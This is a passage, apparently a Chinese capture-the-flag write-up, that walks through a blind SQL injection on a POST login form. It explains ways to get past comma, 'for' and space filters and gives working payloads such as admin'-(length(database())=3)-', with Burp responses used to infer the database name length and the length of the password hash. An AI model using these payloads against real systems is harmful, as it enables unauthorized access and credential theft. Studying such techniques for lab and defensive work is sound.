考察:
- 逗号被过滤:substr(from for)或者mid(from for)截断
- for被过滤:不使用for则mid(from)默认截断到字符串位
- 空格被过滤:不使用空格
- admin字符串与另一个字符串比较时会被翻译成0或者空格
所以’admin’-’‘的意思是减去空字符串,所以值为0,更深远的’admin’-0-’‘先减去0再减去空字符串,值也为0,而’admin’-1-’'的值则为1。 - 此题为post注入已经具有首尾两个单引号于是只需要在输入框输入admin’-1-‘和admin’-0-'即可。由此1和0的位置可以替换为注入查询的字符串比如:
uname=admin'-(length('a')!=1)-'&passwd=1111
#Burp: <script> alert('password error!!@_@');parent.location.href='index.php'; </script>
密码错误说明账号正确,a的长度就是1
uname=admin'-(length(database())!=3)-'&passwd=1111
#Burp:<script> alert('password error!!@_@');parent.location.href='index.php'; </script>
database()长度就是3
也可以用等于号则username error为真:
uname=admin'-(length(database())=3)-'&passwd=111
#Burp: <script> alert('username error!!@_@');parent.location.href='index.php'; </script>
database()长度就是3
uname=admin'-(length(passwd)=32)-'&passwd=111
#Burp: <script> alert('username error!!@_@');parent.location.href='index.php'; </script>
passwd密码是32位推测是MD5的32加密码
uname